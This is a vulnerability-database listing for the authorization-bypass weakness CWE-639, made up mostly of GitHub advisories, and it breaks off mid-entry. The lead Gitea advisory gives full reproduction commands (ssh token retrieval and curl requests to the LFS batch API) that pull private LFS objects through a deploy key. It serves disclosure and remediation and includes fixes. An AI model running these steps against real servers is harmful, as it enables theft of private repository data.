CWE-639
AllowedAuthorization Bypass Through User-Controlled Key
Abstraction: Base · Status: Incomplete
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
5261 vulnerabilities reference this CWE, most recent first.
GHSA-RH79-75QM-GWJR
Vulnerability from github – Published: 2026-07-21 21:00 – Updated: 2026-07-21 21:00Vulnerability Header
| Field | Value |
|---|---|
| Vulnerability Title | Gitea LFS Deploy-Key Privilege Escalation |
| Severity Rating | High |
| Bug Category | Insufficient Authorization |
| Location | services/lfs/server.go:268, routers/private/serv.go:275 |
| Affected Versions | 1.25.5 |
Executive Summary
Gitea's LFS server (services/lfs/server.go:268) uses the UserID embedded in an LFS JWT to make cross-repository authorization decisions via LFSObjectAccessible(). This would be safe if the JWT UserID always matched the actual requesting principal — but for deploy keys, routers/private/serv.go:275 sets UserID = repo.OwnerID instead of any identity representing the deploy key itself. As a result, an attacker who holds a write deploy key for any single repo owned by a victim can obtain a legitimate JWT (via the standard SSH git-lfs-authenticate flow) that Gitea will honor as if the victim themselves were making the request. The attacker can then exfiltrate LFS objects from any private repo the victim owns — no admin credentials, no server secrets, no brute force required. If the victim is a site administrator, every LFS object on the entire Gitea instance is reachable. Deploy keys exist precisely to grant narrow, single-repo access to CI/CD systems; this vulnerability defeats that isolation entirely for LFS data.
Root Cause Analysis
Technical Description
The vulnerability is a trust-boundary confusion across two independent subsystems. When a deploy key authenticates over SSH, serv.go sets UserID = repo.OwnerID because the code has no better representation for a deploy key identity (a FIXME comment acknowledges this). That UserID is baked verbatim into the LFS JWT by cmd/serv.go. The JWT is then consumed by server.go, which treats claims.UserID as the authenticated principal and loads that user object as ctx.Doer. When the batch upload handler encounters an object that exists on disk but isn't yet linked to the target repo, it calls LFSObjectAccessible(ctx, ctx.Doer, oid) — a global query across all repos the claimed user can see — to decide whether to silently create the cross-repo link. The JWT's RepoID claim is verified (so the request is correctly scoped to one repo at the HTTP level), but the UserID driving the cross-repo access decision is the repo owner, not the deploy key. The attacker ends up holding a valid, server-signed token that impersonates the victim for any LFS authorization check.
First Faulty Condition
The primary bug — where the JWT UserID is set incorrectly — is in serv.go:
| File | routers/private/serv.go |
|---|---|
| Line | 275 |
| Condition | Deploy key branch sets results.UserID = repo.OwnerID; the owner's UID is embedded in the JWT and later used as the authenticated principal for cross-repo privilege decisions in server.go:268 |
// routers/private/serv.go:252–278
if key.Type == asymkey_model.KeyTypeDeploy {
...
// FIXME: Deploy keys aren't really the owner of the repo pushing changes
// however we don't have good way of representing deploy keys in hook.go
// so for now use the owner of the repository
results.UserName = results.OwnerName
results.UserID = repo.OwnerID // ← OWNER's UID, not the deploy key
...
}
The secondary bug — where the tainted UserID is actually misused — is in server.go:
| File | services/lfs/server.go |
|---|---|
| Line | 268 |
| Condition | LFSObjectAccessible(ctx, ctx.Doer, oid) makes a cross-repo decision using the JWT UserID, which for deploy keys is the repo owner, not the deploy key holder |
// services/lfs/server.go:267–275
if exists && meta == nil {
accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)
...
if accessible {
_, err := git_model.NewLFSMetaObject(ctx, repository.ID, p) // links OID to attacker's repo
...
}
}
Admin amplification: if victim.IsAdmin, models/git/lfs.go:226 short-circuits with a bare COUNT(*) over the entire lfs_meta_object table — no repo filter. A deploy key on any admin-owned repo reaches every LFS object on the instance.
Exploitability Assessment
Attack Vector & Reachability
| Attack vector | Network |
|---|---|
| Authentication required | Low: attacker must hold a write deploy key's private key material for any of victim's repositories |
| User interaction required | None |
| Reachable in default config | No. Requires LFS_START_SERVER = true |
| Entry point(s) | SSH git-lfs-authenticate command + HTTP LFS batch API |
The practical exploitability of this vulnerability is constrained by a second prerequisite that is independent of the authorization bypass itself: the attacker must know the SHA-256 OID of a specific LFS object in the target repository. OIDs are 256-bit digests — not enumerable and not brute-forceable — and the LFS batch endpoint functions only as an existence oracle, not a listing mechanism. Successful exploitation therefore requires a prior information-disclosure path that exposes OIDs outside the repository boundary. Known paths include public forks that retain stale LFS pointer files in git history, former collaborators who retained object references from a prior git pull, and issue or pull request comments that reference pointer file contents.
LFS pointer files are committed in plaintext to git history, so anyone who ever cloned or had read access to the target repo retains all OIDs permanently. The attack is effectively a post-revocation persistence primitive — after a collaborator loses access, they can continue downloading updated versions of LFS files they previously knew existed.
Reproduction Steps
Environment
The issue was reproduced using gitea/gitea:1.25.5 docker image.
Setup (performed as victim/admin — represents normal deployment state)
# 1. Victim creates a private repo and uploads an LFS object
git clone http://victim:PASSWORD@localhost:3000/victim/secret-repo.git
cd secret-repo
git lfs track "*.bin"
echo "TOP SECRET: password is hunter2" > secret.bin
git add .gitattributes secret.bin && git commit -m "secret"
git push && git lfs push origin main
# Note the OID and size from:
git lfs pointer --file=secret.bin
# oid sha256:1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b
# size 32
# 2. Victim creates ci-repo and registers a write deploy key
# (via UI: ci-repo → Settings → Deploy Keys → Add Deploy Key → enable write access)
# Attacker holds the corresponding private key (e.g. leaked from CI config)
Exploit
# Step 1 — Obtain JWT via SSH using only the deploy key (no victim credentials)
ssh -i ~/.ssh/deploy_key -p 2222 git@localhost \
"git-lfs-authenticate victim/ci-repo upload"
# → {"header":{"Authorization":"Bearer eyJ..."},"href":"..."}
# Decode payload: {"RepoID":3,"Op":"upload","UserID":4,...}
# ^^^^^^^^ victim's UID — BUG
JWT="eyJ..."
OID="1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b"
SIZE=32
# Step 2 — Confirm attacker is blocked from secret-repo directly
curl -s -H "Authorization: Bearer $JWT" \
"http://localhost:3000/victim/secret-repo.git/info/lfs/objects/$OID"
# → {"Message":"Unauthorized"} — correctly blocked
# Step 3 — Batch upload to ci-repo claiming the secret OID
curl -s -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.git-lfs+json" \
-H "Content-Type: application/vnd.git-lfs+json" \
"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/batch" \
-d "{\"operation\":\"upload\",\"transfers\":[\"basic\"],\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
# → {"objects":[{"oid":"1d4fed...","size":32}]} — NO "actions" field
# server silently linked the OID to ci-repo without demanding proof of possession
# Step 4 — Download the secret via ci-repo
curl -s -H "Authorization: Bearer $JWT" \
"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/$OID"
# → TOP SECRET: password is hunter2
Expected output
Step 2: {"Message":"Unauthorized"} ← blocked from secret-repo
Step 3: {"objects":[{"oid":"1d4fed...","size":32}]} ← no actions = silently linked
Step 4: TOP SECRET: password is hunter2 ← exfiltrated via ci-repo
PoC files
- poc.sh — end-to-end PoC using real SSH deploy key
Recommended Fix
A proper fix might require significant architecture change. A short term recommendation is presented below:
Fix 1 — services/lfs/server.go:267 (defense in depth, immediately effective)
Remove the LFSObjectAccessible cross-repo shortcut. Require proof of possession (the normal upload flow) for any object not already linked to the target repo. The JWT is correctly scoped to one RepoID; authorization decisions about other repos should not be made using the JWT UserID.
// BEFORE (vulnerable):
if exists && meta == nil {
accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)
if err != nil {
log.Error("Unable to check if LFS MetaObject [%s] is accessible: %v", p.Oid, err)
writeStatus(ctx, http.StatusInternalServerError)
return
}
if accessible {
_, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)
if err != nil {
log.Error("Unable to create LFS MetaObject [%s] for %s/%s. Error: %v", p.Oid, rc.User, rc.Repo, err)
writeStatus(ctx, http.StatusInternalServerError)
return
}
} else {
exists = false
}
}
// After (safe):
if exists && meta == nil {
// Do not use ctx.Doer for cross-repo decisions — the JWT only authorizes
// access to this repo. Always require proof-of-possession for objects
// not already linked here.
exists = false
}
The client will re-upload the bytes (which are hash-verified). Performance cost: one redundant upload per cross-repo object. Security gain: the cross-repo trust boundary is enforced regardless of how the JWT was issued.
Full patch: fix1.patch
Fix 2 — routers/private/serv.go:275 (fix the source)
Stop embedding repo.OwnerID in the JWT for deploy keys. Options:
- Add a DeployKeyID field to the JWT Claims struct; teach handleLFSToken to construct a minimal synthetic principal with exactly the deploy key's permissions (single-repo, mode-limited).
- Or mint a separate JWT type for deploy keys that server.go treats as repo-scoped only, refusing to use it for cross-repo operations.
Patch provenance: AI-generated + Human-reviewed
Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.
For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58435"
],
"database_specific": {
"cwe_ids": [
"CWE-266",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T21:00:51Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Vulnerability Header\n\n| Field | Value |\n| ------------------- | ----------------------------------------------------------- |\n| Vulnerability Title | Gitea LFS Deploy-Key Privilege Escalation |\n| Severity Rating | High |\n| Bug Category | Insufficient Authorization |\n| Location | `services/lfs/server.go:268`, `routers/private/serv.go:275` |\n| Affected Versions | 1.25.5 |\n\n## Executive Summary\n\nGitea\u0027s LFS server (`services/lfs/server.go:268`) uses the `UserID` embedded in an LFS JWT to make cross-repository authorization decisions via `LFSObjectAccessible()`. This would be safe if the JWT `UserID` always matched the actual requesting principal \u2014 but for deploy keys, `routers/private/serv.go:275` sets `UserID = repo.OwnerID` instead of any identity representing the deploy key itself. As a result, an attacker who holds a write deploy key for any single repo owned by a victim can obtain a legitimate JWT (via the standard SSH `git-lfs-authenticate` flow) that Gitea will honor as if the victim themselves were making the request. The attacker can then exfiltrate LFS objects from any private repo the victim owns \u2014 no admin credentials, no server secrets, no brute force required. If the victim is a site administrator, every LFS object on the entire Gitea instance is reachable. Deploy keys exist precisely to grant narrow, single-repo access to CI/CD systems; this vulnerability defeats that isolation entirely for LFS data.\n\n## Root Cause Analysis\n\n### Technical Description\n\nThe vulnerability is a **trust-boundary confusion** across two independent subsystems. When a deploy key authenticates over SSH, `serv.go` sets `UserID = repo.OwnerID` because the code has no better representation for a deploy key identity (a `FIXME` comment acknowledges this). That `UserID` is baked verbatim into the LFS JWT by `cmd/serv.go`. The JWT is then consumed by `server.go`, which treats `claims.UserID` as the authenticated principal and loads that user object as `ctx.Doer`. When the batch upload handler encounters an object that exists on disk but isn\u0027t yet linked to the target repo, it calls `LFSObjectAccessible(ctx, ctx.Doer, oid)` \u2014 a global query across all repos the claimed user can see \u2014 to decide whether to silently create the cross-repo link. The JWT\u0027s `RepoID` claim is verified (so the request is correctly scoped to one repo at the HTTP level), but the `UserID` driving the cross-repo access decision is the repo *owner*, not the deploy key. The attacker ends up holding a valid, server-signed token that impersonates the victim for any LFS authorization check.\n\n### First Faulty Condition\n\nThe primary bug \u2014 where the JWT `UserID` is set incorrectly \u2014 is in `serv.go`:\n\n| File | `routers/private/serv.go` |\n| --------- | ------------------------------------------------------------------------------------------------- |\n| Line | 275 |\n| Condition | Deploy key branch sets `results.UserID = repo.OwnerID`; the owner\u0027s UID is embedded in the JWT and later used as the authenticated principal for cross-repo privilege decisions in `server.go:268` |\n\n```go\n// routers/private/serv.go:252\u2013278\nif key.Type == asymkey_model.KeyTypeDeploy {\n ...\n // FIXME: Deploy keys aren\u0027t really the owner of the repo pushing changes\n // however we don\u0027t have good way of representing deploy keys in hook.go\n // so for now use the owner of the repository\n results.UserName = results.OwnerName\n results.UserID = repo.OwnerID // \u2190 OWNER\u0027s UID, not the deploy key\n ...\n}\n```\n\nThe secondary bug \u2014 where the tainted `UserID` is actually misused \u2014 is in `server.go`:\n\n| File | `services/lfs/server.go` |\n| --------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| Line | 268 |\n| Condition | `LFSObjectAccessible(ctx, ctx.Doer, oid)` makes a cross-repo decision using the JWT `UserID`, which for deploy keys is the repo owner, not the deploy key holder |\n\n```go\n// services/lfs/server.go:267\u2013275\nif exists \u0026\u0026 meta == nil {\n accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)\n ...\n if accessible {\n _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p) // links OID to attacker\u0027s repo\n ...\n }\n}\n```\n\n**Admin amplification:** if `victim.IsAdmin`, `models/git/lfs.go:226` short-circuits with a bare `COUNT(*)` over the entire `lfs_meta_object` table \u2014 no repo filter. A deploy key on any admin-owned repo reaches every LFS object on the instance.\n\n## Exploitability Assessment\n\n### Attack Vector \u0026 Reachability\n\n| Attack vector | Network |\n| --------------------------- | -------------------------------------------------------------------------------------------------- |\n| Authentication required | Low: attacker must hold a write deploy key\u0027s private key material for any of victim\u0027s repositories |\n| User interaction required | None |\n| Reachable in default config | No. Requires `LFS_START_SERVER = true` |\n| Entry point(s) | SSH `git-lfs-authenticate` command + HTTP LFS batch API |\n\nThe practical exploitability of this vulnerability is constrained by a second prerequisite that is independent of the authorization bypass itself: the attacker must know the SHA-256 OID of a specific LFS object in the target repository. OIDs are 256-bit digests \u2014 not enumerable and not brute-forceable \u2014 and the LFS batch endpoint functions only as an existence oracle, not a listing mechanism. Successful exploitation therefore requires a prior information-disclosure path that exposes OIDs outside the repository boundary. Known paths include public forks that retain stale LFS pointer files in git history, former collaborators who retained object references from a prior `git pull`, and issue or pull request comments that reference pointer file contents. \n\nLFS pointer files are committed in plaintext to git history, so anyone who ever cloned or had read access to the target repo retains all OIDs permanently. The attack is effectively a **post-revocation persistence** primitive \u2014 after a collaborator loses access, they can continue downloading updated versions of LFS files they previously knew existed.\n### Reproduction Steps\n\n**Environment**\n\nThe issue was reproduced using `gitea/gitea:1.25.5` docker image. \n\n**Setup** (performed as victim/admin \u2014 represents normal deployment state)\n\n```bash\n# 1. Victim creates a private repo and uploads an LFS object\ngit clone http://victim:PASSWORD@localhost:3000/victim/secret-repo.git\ncd secret-repo\ngit lfs track \"*.bin\"\necho \"TOP SECRET: password is hunter2\" \u003e secret.bin\ngit add .gitattributes secret.bin \u0026\u0026 git commit -m \"secret\"\ngit push \u0026\u0026 git lfs push origin main\n\n# Note the OID and size from:\ngit lfs pointer --file=secret.bin\n# oid sha256:1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b\n# size 32\n\n# 2. Victim creates ci-repo and registers a write deploy key\n# (via UI: ci-repo \u2192 Settings \u2192 Deploy Keys \u2192 Add Deploy Key \u2192 enable write access)\n# Attacker holds the corresponding private key (e.g. leaked from CI config)\n```\n\n**Exploit**\n\n```bash\n# Step 1 \u2014 Obtain JWT via SSH using only the deploy key (no victim credentials)\nssh -i ~/.ssh/deploy_key -p 2222 git@localhost \\\n \"git-lfs-authenticate victim/ci-repo upload\"\n# \u2192 {\"header\":{\"Authorization\":\"Bearer eyJ...\"},\"href\":\"...\"}\n# Decode payload: {\"RepoID\":3,\"Op\":\"upload\",\"UserID\":4,...}\n# ^^^^^^^^ victim\u0027s UID \u2014 BUG\n\nJWT=\"eyJ...\"\nOID=\"1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b\"\nSIZE=32\n\n# Step 2 \u2014 Confirm attacker is blocked from secret-repo directly\ncurl -s -H \"Authorization: Bearer $JWT\" \\\n \"http://localhost:3000/victim/secret-repo.git/info/lfs/objects/$OID\"\n# \u2192 {\"Message\":\"Unauthorized\"} \u2014 correctly blocked\n\n# Step 3 \u2014 Batch upload to ci-repo claiming the secret OID\ncurl -s -X POST \\\n -H \"Authorization: Bearer $JWT\" \\\n -H \"Accept: application/vnd.git-lfs+json\" \\\n -H \"Content-Type: application/vnd.git-lfs+json\" \\\n \"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/batch\" \\\n -d \"{\\\"operation\\\":\\\"upload\\\",\\\"transfers\\\":[\\\"basic\\\"],\\\"objects\\\":[{\\\"oid\\\":\\\"$OID\\\",\\\"size\\\":$SIZE}]}\"\n# \u2192 {\"objects\":[{\"oid\":\"1d4fed...\",\"size\":32}]} \u2014 NO \"actions\" field\n# server silently linked the OID to ci-repo without demanding proof of possession\n\n# Step 4 \u2014 Download the secret via ci-repo\ncurl -s -H \"Authorization: Bearer $JWT\" \\\n \"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/$OID\"\n# \u2192 TOP SECRET: password is hunter2\n```\n\n**Expected output**\n\n```\nStep 2: {\"Message\":\"Unauthorized\"} \u2190 blocked from secret-repo\nStep 3: {\"objects\":[{\"oid\":\"1d4fed...\",\"size\":32}]} \u2190 no actions = silently linked\nStep 4: TOP SECRET: password is hunter2 \u2190 exfiltrated via ci-repo\n```\n\n**PoC files**\n\n- [poc.sh](https://github.com/user-attachments/files/28830752/poc.sh) \u2014 end-to-end PoC using real SSH deploy key\n\n## Recommended Fix\n\nA proper fix might require significant architecture change. A short term recommendation is presented below:\n\n**Fix 1 \u2014 `services/lfs/server.go:267` (defense in depth, immediately effective)**\n\nRemove the `LFSObjectAccessible` cross-repo shortcut. Require proof of possession (the normal upload flow) for any object not already linked to the target repo. The JWT is correctly scoped to one `RepoID`; authorization decisions about *other* repos should not be made using the JWT `UserID`.\n```go\n// BEFORE (vulnerable):\nif exists \u0026\u0026 meta == nil {\n accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)\n if err != nil {\n log.Error(\"Unable to check if LFS MetaObject [%s] is accessible: %v\", p.Oid, err)\n writeStatus(ctx, http.StatusInternalServerError)\n return\n }\n if accessible {\n _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)\n if err != nil {\n log.Error(\"Unable to create LFS MetaObject [%s] for %s/%s. Error: %v\", p.Oid, rc.User, rc.Repo, err)\n writeStatus(ctx, http.StatusInternalServerError)\n return\n }\n } else {\n exists = false\n }\n}\n```\n\n```go\n// After (safe):\nif exists \u0026\u0026 meta == nil {\n // Do not use ctx.Doer for cross-repo decisions \u2014 the JWT only authorizes\n // access to this repo. Always require proof-of-possession for objects\n // not already linked here.\n exists = false\n}\n```\n\nThe client will re-upload the bytes (which are hash-verified). \nPerformance cost: one redundant upload per cross-repo object. Security gain: the cross-repo trust boundary is enforced regardless of how the JWT was issued.\n\nFull patch: [fix1.patch](https://github.com/user-attachments/files/28830753/fix1.patch)\n\n**Fix 2 \u2014 `routers/private/serv.go:275` (fix the source)**\n\nStop embedding `repo.OwnerID` in the JWT for deploy keys. Options:\n- Add a `DeployKeyID` field to the JWT `Claims` struct; teach `handleLFSToken` to construct a minimal synthetic principal with exactly the deploy key\u0027s permissions (single-repo, mode-limited).\n- Or mint a separate JWT type for deploy keys that `server.go` treats as repo-scoped only, refusing to use it for cross-repo operations.\n\nPatch provenance: AI-generated + Human-reviewed\n\n## Attribution\n\nThis vulnerability was discovered by Claude, Anthropic\u0027s AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.\n\nFor CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research.",
"id": "GHSA-rh79-75qm-gwjr",
"modified": "2026-07-21T21:00:51Z",
"published": "2026-07-21T21:00:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-rh79-75qm-gwjr"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gitea LFS Deploy-Key Privilege Escalation"
}
GHSA-RH7W-XCQ5-PCFP
Vulnerability from github – Published: 2022-05-13 01:43 – Updated: 2022-05-13 01:43In Kanboard before 1.0.47, by altering form data, an authenticated user can add an external link to a private project of another user.
{
"affected": [],
"aliases": [
"CVE-2017-15211"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-10-11T01:32:00Z",
"severity": "MODERATE"
},
"details": "In Kanboard before 1.0.47, by altering form data, an authenticated user can add an external link to a private project of another user.",
"id": "GHSA-rh7w-xcq5-pcfp",
"modified": "2022-05-13T01:43:41Z",
"published": "2022-05-13T01:43:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15211"
},
{
"type": "WEB",
"url": "https://github.com/kanboard/kanboard/commit/074f6c104f3e49401ef0065540338fc2d4be79f0"
},
{
"type": "WEB",
"url": "https://github.com/kanboard/kanboard/commit/3e0f14ae2b0b5a44bd038a472f17eac75f538524"
},
{
"type": "WEB",
"url": "https://kanboard.net/news/version-1.0.47"
},
{
"type": "WEB",
"url": "http://openwall.com/lists/oss-security/2017/10/04/9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RH8H-JGFM-8MQ4
Vulnerability from github – Published: 2026-09-02 06:31 – Updated: 2026-09-02 12:31The Rank Math SEO WordPress plugin before 1.0.277 does not verify that a user is allowed to edit the object being modified before updating its SEO indexing metadata, allowing users with the Author role and above to alter that metadata on content, taxonomy terms and user profiles they do not own, and to remove other users' content from the site's sitemap and search engine index.
{
"affected": [],
"aliases": [
"CVE-2026-77784"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-02T06:17:17Z",
"severity": "LOW"
},
"details": "The Rank Math SEO WordPress plugin before 1.0.277 does not verify that a user is allowed to edit the object being modified before updating its SEO indexing metadata, allowing users with the Author role and above to alter that metadata on content, taxonomy terms and user profiles they do not own, and to remove other users\u0027 content from the site\u0027s sitemap and search engine index.",
"id": "GHSA-rh8h-jgfm-8mq4",
"modified": "2026-09-02T12:31:27Z",
"published": "2026-09-02T06:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77784"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/7a6ad8c5-eb7e-4201-8597-479e77863985"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RHF5-F553-XG82
Vulnerability from github – Published: 2021-11-23 18:18 – Updated: 2021-11-22 18:22Unauthorized individuals could view password protected files using view_inline in Concrete CMS (previously concrete 5) prior to version 8.5.7. Concrete CMS now checks to see if a file has a password in view_inline and, if it does, the file is not rendered.For version 8.5.6, the following mitigations were put in place a. restricting file types for view_inline to images only b. putting a warning in the file manager to advise users.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "concrete5/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.5.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-22951"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2021-11-22T18:21:13Z",
"nvd_published_at": "2021-11-19T19:15:00Z",
"severity": "MODERATE"
},
"details": "Unauthorized individuals could view password protected files using view_inline in Concrete CMS (previously concrete 5) prior to version 8.5.7. Concrete CMS now checks to see if a file has a password in view_inline and, if it does, the file is not rendered.For version 8.5.6, the following mitigations were put in place a. restricting file types for view_inline to images only b. putting a warning in the file manager to advise users.",
"id": "GHSA-rhf5-f553-xg82",
"modified": "2021-11-22T18:22:30Z",
"published": "2021-11-23T18:18:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22951"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1102014"
},
{
"type": "WEB",
"url": "https://documentation.concretecms.org/developers/introduction/version-history/857-release-notes"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Password exposure in concrete5/core"
}
GHSA-RHMP-R3FW-GGRC
Vulnerability from github – Published: 2024-11-23 06:32 – Updated: 2026-04-08 21:32The Enter Addons – Ultimate Template Builder for Elementor plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 2.1.9 via the Advanced Tabs widget due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from private or draft posts created by Elementor that they should not have access to.
{
"affected": [],
"aliases": [
"CVE-2024-10868"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-23T04:15:07Z",
"severity": "MODERATE"
},
"details": "The Enter Addons \u2013 Ultimate Template Builder for Elementor plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 2.1.9 via the Advanced Tabs widget due to insufficient restrictions on which posts can be included. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from private or draft posts created by Elementor that they should not have access to.",
"id": "GHSA-rhmp-r3fw-ggrc",
"modified": "2026-04-08T21:32:57Z",
"published": "2024-11-23T06:32:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10868"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=3195822%40enteraddons%2Ftrunk\u0026old=3148550%40enteraddons%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/enteraddons"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ff8e8889-ec02-4b8d-9509-2c6335fdd9a4?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RHPM-RX33-CFP8
Vulnerability from github – Published: 2026-08-18 15:31 – Updated: 2026-08-18 15:31Authorization bypass through User-Controlled key vulnerability in Netiket Information Technologies EdoWEB allows Accessing Functionality Not Properly Constrained by ACLs.
This issue affects EdoWEB: before 780-g7.
{
"affected": [],
"aliases": [
"CVE-2026-16309"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-18T13:17:20Z",
"severity": "MODERATE"
},
"details": "Authorization bypass through User-Controlled key vulnerability in Netiket Information Technologies EdoWEB allows Accessing Functionality Not Properly Constrained by ACLs.\n\nThis issue affects EdoWEB: before 780-g7.",
"id": "GHSA-rhpm-rx33-cfp8",
"modified": "2026-08-18T15:31:37Z",
"published": "2026-08-18T15:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16309"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0853"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RHQ7-G7CH-6MM7
Vulnerability from github – Published: 2026-01-08 12:30 – Updated: 2026-01-20 15:33Authorization Bypass Through User-Controlled Key vulnerability in WofficeIO Woffice Core woffice-core allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Woffice Core: from n/a through <= 5.4.30.
{
"affected": [],
"aliases": [
"CVE-2025-67919"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-08T10:15:50Z",
"severity": "HIGH"
},
"details": "Authorization Bypass Through User-Controlled Key vulnerability in WofficeIO Woffice Core woffice-core allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Woffice Core: from n/a through \u003c= 5.4.30.",
"id": "GHSA-rhq7-g7ch-6mm7",
"modified": "2026-01-20T15:33:09Z",
"published": "2026-01-08T12:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67919"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/woffice-core/vulnerability/wordpress-woffice-core-plugin-5-4-30-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/woffice-core/vulnerability/wordpress-woffice-core-plugin-5-4-30-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RJ36-PVV3-3G3H
Vulnerability from github – Published: 2026-09-02 06:31 – Updated: 2026-09-02 12:31The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.46 does not properly verify authorization when retrieving order line-item data, allowing any authenticated user including Subscribers to read other instructors' course sales records by supplying another user's identifier.
{
"affected": [],
"aliases": [
"CVE-2026-81194"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-02T06:17:18Z",
"severity": "MODERATE"
},
"details": "The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.46 does not properly verify authorization when retrieving order line-item data, allowing any authenticated user including Subscribers to read other instructors\u0027 course sales records by supplying another user\u0027s identifier.",
"id": "GHSA-rj36-pvv3-3g3h",
